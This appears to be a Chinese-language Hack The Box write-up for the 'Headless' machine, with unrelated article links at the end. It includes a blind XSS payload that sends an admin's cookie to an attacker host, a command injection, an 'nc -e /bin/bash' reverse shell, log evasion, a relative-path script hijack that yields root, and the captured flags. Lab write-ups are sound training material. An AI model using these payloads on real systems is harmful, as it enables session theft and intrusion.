Headless靶机笔记
Headless靶机
靶机概述
Headless 是一款简单易难的 Linux 机器,具有python实现的托管网站的服务器。基本思路:
- 通过端口探测到web页面,有一个表单。
- 利用忙注XSS,获得管理员Cookie,进而获得立足点。
- 利用邮件信息进行提权到root权限
1、nmap端口探测
1)测试kali与HTB连通性
a)kali连接网卡
ip a
tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 10.10.14.50/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::1030/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::5fd0:9e3a:8065:d66a/64 scope link stable-privacy
valid_lft forever preferred_lft forever
与HTB连接的网卡10.10.14.50
b)HTB靶机地址
c) ping 测试
ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=330 ms
64 bytes from 10.10.11.8: icmp_seq=2 ttl=63 time=328 ms
2) nmap扫描
a) 端口发现
# 以最低10000速率,以tcp扫面全端口 结果输出到ports文件中
nmap -sT -p- --min-rate 10000 10.10.11.8 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-27 22:32 EDT
Warning: 10.10.11.8 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.8
Host is up (0.33s latency).
Not shown: 65178 closed tcp ports (conn-refused), 355 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 54.36 seconds
b) 端口详细信息
# 以tcp连接,输出详细信息,以默认脚本 扫描22,5000端口,结果输出到details文件中
nmap -sT -sV -sC -p22,5000 10.10.11.8 -o details
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
|_ 256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sun, 28 Jul 2024 02:48:15 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
可以看到5000端口像是一个web服务,22号端口就是常规的ssh服务
2、web渗透
1)访问5000端口
发现有一个For questions的按钮,我们点击进去,看到一个表单,尝试XSS注入
点击提交
上面显示
Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.
你的IP地址已经被标记,你的浏览器信息的报告已经被发送给管理员去调查了。
下边就是报告的信息,可以看到有头部的信息,可以尝试头部XSS注入
2)获取管理员cookie
a) 尝试注入点
我们打开burpsuite拦截提交表单的请求
我们修改UA头信息,进行XSS注入
插入
<script>alert(1)</script>
成功弹窗
b) 获取管理员cookie
- 打开本地的服务,捕获http请求
# python开启http监听5000端口
python -m http.server 5000
- UA头插入
GET请求本地的python服务cookie以参数传输base64加密后的字符串
<script>var i=new Image(); i.src="http://10.10.14.41:5000/?cookie="+btoa(document.cookie);</script>
出现了一点小bug,
ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
From 10.10.14.1 icmp_seq=1 Destination Host Unreachable
From 10.10.14.1 icmp_seq=2 Destination Host Unreachable
From 10.10.14.1 icmp_seq=3 Destination Host Unreachable换了一个vpn节点 我的主机ip换成了 10.10.14.54
3.发送观察本地的python服务
看到cookie的base64外带出来了
开始base64解码
echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
# 结果
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
看着is_admin字段也是base64加密的,解码看看
echo "ImFkbWluIg" | base64 -d
"admin"base64: 无效的输入
# 这里无效输入,是base编码字符的长度必须是4的倍数,否则用‘=’补齐
echo "ImFkbWluIg==" | base64 -d
"admin"
可以看到就是admin,我们有了admin的cookie,看看有没有什么其他可以访问的网站
3)管理界面路径寻找
a) 路径爆破
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.8:5000
#出来的路径
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]
b) 访问dashboard
unauthorized我们可以更换我们浏览器的cookie值,达到访问的目的
刷新可以看到
看它是Select Date框里是日期,会不会是date命令生成的呢。点击 Generate Report看看会发生什么
下面说Systems are up and running!
用burp抓包分析一下
c) 尝试命令注入
传了一个date参数,我们尝试命令注入 ;id
看可不可以
看到输出了id的命令值
3、反弹shell,获得立足点
1)本地监听
nc -lnvp 4444
2) 命令注入
反弹shell
nc -e /bin/bash 10.10.14.54 4444
成功反弹shell,获得立足点
# 获得一个更美观的shell,并让日志不记录我们的操做
script /dev/null -c /bin/bash
3) 获得user flag
在本用户的家目录,找到flag
dvir@headless:~$ cd /home/dvir
cd /home/dvir
dvir@headless:~$ cat user.txt
cat user.txt
c62add3a4cecb6ace7242e40305e9ed2
4、提权到root
1)发现邮件系统
通过枚举目标系统,发现目标有邮件
cd /var/mail
cat dvir
Subject: Important Update: New System Check Script
Hello!
We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.
What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.
Rest assured, this script is at your disposal and won't affect your regular use of the system.
If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless
意思就是说:为了应对最近的兼容性和崩溃问题,我们引入了一个新的系统检查脚本。
这个脚本应该就是我们提权的关键
# 运行 sudo -l 可以看到检查文件的路径
sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
#查看一下脚本
cat /sur/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
2)分析脚本文件
我们可以看到以上脚本,执行了多项系统的检查与维护任务。
首先,它验证是否以特权运行,如果没有则退出。
if [ "$EUID" -ne 0 ]; then
exit 1
fi
然后,识别并格式化显示内核vmlinuz*的最后修改时间。
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
之后,它检索并显示根文件系统上的可用磁盘空间。
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
该脚本还报告系统的平均负载。此外,它还会检查名为 initdb.sh 的数据库服务是否正在运行;如果没有,它会默默地启动它
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
基于initdb.sh没有运行会被这个检查系统的脚本syscheck
默默以特权执行
我们是不是可以像dll劫持、环境变量劫持那样,让他去加载我们自己写的initdb.sh
呢
3)initdb.sh劫持提权
# 由于我们在tmp目录下具有写权限,先在tmp目录下创建initdb.sh
echo "/bin/bash" > /tmp/initdb.sh
# 赋予执行权限
chmod +x /tmp/initdb.sh
执行sudo syscheck
dvir@headless:/tmp$ sudo syscheck
sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.00, 0.00, 0.00
Database service is not running. Starting it...
id
id
uid=0(root) gid=0(root) groups=0(root)
拿到root flag
cat /root/root.txt
1d3462b03683fc35bcd908637e7dc4a7
总结
- 先用nmap扫描,发现目标机器开放了22,5000端口。
- 访问5000端口,发现是一个web服务,并且有一个表单,尝试存储型XSS攻击,获得管理员cookie信息
- 利用管理员cookie信息,结合目录爆破出来的/bashboard路径,发现了一处命令注入的RCE漏洞,成功获得立足点
- 通过枚举得到此用户有mail邮件,打开邮件说有一个系统检查脚本syscheck,通过分析脚本知道脚本会去以root权限运行
initdb.sh
服务 - 通过劫持
initdb.sh
成功获得root权限
Headless靶机笔记的更多相关文章
- 笔记-selenium+chrome headless
笔记-selenium+chrome headless 1. selenium+chrome headless phantomjs与selenium分手了,建议使用其它无头浏览器. chro ...
- vulnhub靶机Tr0ll:1渗透笔记
Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...
- vulnhub靶机djinn:1渗透笔记
djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...
- sqli-labs靶机注入笔记1-10关
嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...
- vulnhub 靶机 Kioptrix Level 1渗透笔记
靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...
- 渗透测试全流程靶机vulnhubDC-1完成笔记
镜像下载地址 https://www.vulnhub.com/entry/dc-1-1,292/ 信息收集 1.可以使用netdiscover -i eth0 发现二层网络信息 发现两个设备(103是 ...
- GC学习笔记
GC学习笔记 这是我公司同事的GC学习笔记,写得蛮详细的,由浅入深,循序渐进,让人一看就懂,特转到这里. 一.GC特性以及各种GC的选择 1.垃圾回收器的特性 2.对垃圾回收器的选择 2.1 连续 V ...
- 非常详细GC学习笔记
转载:http://blog.csdn.net/fenglibing/article/details/6321453 这是我公司同事的GC学习笔记,写得蛮详细的,由浅入深,循序渐进,让人一看就懂,特转 ...
- LFS7.4编译笔记(3)
在第一部分,我们编译了一个工具链及临时系统,然后在第二部分我们chroot到/mnt/lfs下面,利用临时系统的工具编译了我们最终的LFS系统.不过此时,我们的LFS系统还是不完整的,因为我们还没有安 ...
- 很具体GC学习笔记
GC学习笔记 这是我公司同事的GC学习笔记,写得蛮具体的,由浅入深,循序渐进,让人一看就懂,特转到这里. 一.GC特性以及各种GC的选择 1.垃圾回收器的特性 2.对垃圾回收器的选择 2.1 连续 V ...
随机推荐
- 迭代器模式(Interator Pattern)
一.模式动机 迭代器模式(Iterator Pattern)是一种使用频率非常高的行为型设计模式,迭代器用于对一个聚合对象进行遍历.通过引入迭代器可以将数据的遍历功能从聚合对象中分离出来,聚合对象只负 ...
- 调用了这么久的JS方法是长在对象、类、值本身还是原型链上?
调用了这么久的JS方法是长在对象.类.值本身还是原型链上? JavaScript这门语言总是能带给我惊喜,在敲代码的时候习以为常的写法,退一步再看看发现自己其实对很多基操只有表面的使用,而从来没思考过 ...
- opencv在MAC下的安装
版本信息 MAC版本:10.10.5 Xcode版本:7.2 openCV版本:2.4.13 安装步骤: 联网 安装brew,在终端输入指令 /usr/bin/ruby -e "$(curl ...
- 12-CentOS7安装与管理数据库mariadb
关于Mariadb Mariadb和MySQL是同一个制作团队,命令几乎一样. 在centos中安装 yum -y install mariadb mariadb-server firewall-cm ...
- Hadoop集群管理之fsimage和edits工作机制
客户端对hdfs进行写文件时会首先被记录在edits文件中. edits修改时元数据也会更新. 每次hdfs更新时edits先更新后客户端才会看到最新信息. fsimage:是namenode中关于元 ...
- ComfyUI进阶篇:ComfyUI核心节点(二)
ComfyUI核心节点(二) 前言: 学习ComfyUI是一场持久战.当你掌握了ComfyUI的安装和运行之后,会发现大量五花八门的节点.面对各种各样的工作流和复杂的节点种类,可能会让人感到不知所措. ...
- .NET 按格式导出txt
效果图 后台代码 private void DownTxt() { try { StringBuilder sb = new StringBuilder(); for (int i = 0; i &l ...
- P2918
[USACO08NOV]Buying Hay S 题意描述 约翰的干草库存已经告罄,他打算为奶牛们采购 H(1 \leq H \leq 50000)H(1≤H≤50000) 磅干草. 他知道 N(1 ...
- 高程读后感(四)— 关于BOM本人容易忽略的知识点总结
目录 window对象 window对象上属性及方法 超时调用setTimeout和间歇调用setInterval BOM location对象及其位置操作 history对象 window对象 wi ...
- MViTv2:Facebook出品,进一步优化的多尺度ViT | CVPR 2022
论文将Multiscale Vision Transformers (MViTv2) 作为图像和视频分类以及对象检测的统一架构进行研究,结合分解的相对位置编码和残差池化连接提出了MViT的改进版本 来 ...